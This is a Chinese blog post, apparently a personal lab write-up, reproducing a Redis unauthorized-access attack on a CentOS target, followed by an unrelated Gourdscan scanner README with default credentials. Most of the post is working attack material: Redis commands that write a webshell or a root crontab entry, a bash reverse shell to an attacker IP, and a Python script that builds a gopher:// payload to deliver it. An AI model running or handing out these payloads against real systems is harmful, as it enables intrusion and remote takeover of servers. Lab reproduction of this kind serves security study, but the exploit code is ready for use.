redis linux安全扫描漏洞,3. redis未授权漏洞复现(写入linux计划任务反弹shell)

前提:

1.靶机是Centos环境

2.redis低版本,具体低于多少不清楚

——————主要几个命令操作——————

flushall             //清空所有key值

config get dir        //获取路径

config set dir /**/**/      //设置路径

set xxx '

一句话木马

'  //设置xxx值为一句话木马

config set dbfilename 111.jsp/  /设置文件名

save              //将xxx默认写入到111.jsp

方式一:直接用进入redis写入计划任务(失败,未成功反弹shell,失败原因:未知,到靶机系统查看文件也成功写入了,但是和下面使用脚本写的就是格式上有点不一样)

1.set 1 '

*/1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1

'

2.config set dir /var/spool/cron/

3.config set dbfilename root

4.save

dc0068b5c45195cc8a5633fb34fd7fea.png

方式二:使用脚本写入(原理和上面同理,成功率高)

ip是目标系统的,server_ip是接收shell的

importurllib

protocol="gopher://"ip='192.168.43.144'port='6379'reverse_ip="192.168.43.183"reverse_port="4444"cron="*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1"%(reverse_ip,reverse_port)

filename="root"path="/var/spool/cron"passwd=""cmd=["flushall","set 1 {}".format(cron.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]ifpasswd:

cmd.insert(0,"AUTH {}".format(passwd))

payload=protocol+ip+":"+port+"/_"

defredis_format(arr):

CRLF=""redis_arr= arr.split(" ")

cmd=""cmd+="*"+str(len(redis_arr))for x inredis_arr:

cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")

cmd+=CRLFreturncmdif __name__=="__main__":for x incmd:

payload+=urllib.quote(redis_format(x))print payload

1.改好脚本后运行:python2 redis.py

64eb1348e6f4727511b49fc6d5be19d6.png

2.curl命令执行

d194b40d6202f41d6f577d0c40895727.png

3.监听成功

5e6d11b3ebaa5efbadc4804033392ebb.png

参考链接:

https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Gourdscan v2.1 被动式漏洞扫描系统 Passive Vulnerability Scan 为避免 Gourdscan 被恶意利用,开源版本只放出了简单的探测规则,无法用作为黑客入侵工具。请使用者遵守《中华人民共和国网络安全法》,勿将 Gourdscan 用于授权的测试,参与项目的社区成员/YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。 安装依赖: Linux 安装 Redis apt-get install redis-server 或从源码编译安装 wget http://download.redis.io/redis-stable.tar.gz && tar xzf redis-stable.tar.gz && cd redis-stable && make && make install 系统已有 Redis 的,运行 redis-server --version 查看自己的版本,需注意2.x版本的 Redis 会有问题 安转 python 类库 基础模块 安装pip wget https://sec.ly.com/mirror/get-pip.py --no-check-certificate && python get-pip.py -i https://mirrors.aliyun.com/pypi/simple/ $ pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ 其他事项 以下如果有报错便可以安装,一般不需要安装 镜像: https://sec.ly.com/mirror/libdnet-libdnet-1.12.tar.gz https://sec.ly.com/mirror/pylibpcap-0.6.4.tar.gz $ wget https://github.com/dugsong/libdnet/archive/master.zip && unzip master.zip $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.4.tar.gz && tar zxf pylibpcap-0.6.4.tar.gz Windows 下载 Redis https://sec.ly.com/mirror/Redis-x64-3.2.100.zip 启动 Redis redis-server.exe GourdScan路径\conf\redis.conf 如需使用网卡抓包方式,同程src已有各依赖镜像,可以把exe文件都装上 https://sec.ly.com/mirror/dnet-1.12.win32-py2.7.exe https://sec.ly.com/mirror/dpkt-1.7.win32.exe https://sec.ly.com/mirror/pcap-1.1.win32-py2.7.exe https://sec.ly.com/mirror/WinPcap_4_1_3.exe OSX 安装 homebrew /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 安装 redis brew install redis 启动 redis redis-server conf/redis.conf 安装依赖 pip install pcapy -i https://pypi.doubanio.com/simple/ git clone https://github.com/dugsong/libdnet.git && cd libdnet && ./configure && make && cd python && python setup.py install 使用方法: redis-server conf/redis.conf python gourdscan.py conf.json 默认平台用户名密码为:admin:Y3rc_admin 默认redis密码为:Y3rc_Alw4ys_B3_W1th_Y0u 如果有勾选sqlmap api scan选项,请在服务器上开启sqlmap api。 一切正常的话你就可以在8000端口上访问到 GourdScanV2 的 web 界面了 Start Monitor 中提供了三种代理方式,区别的话在下方文档有
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值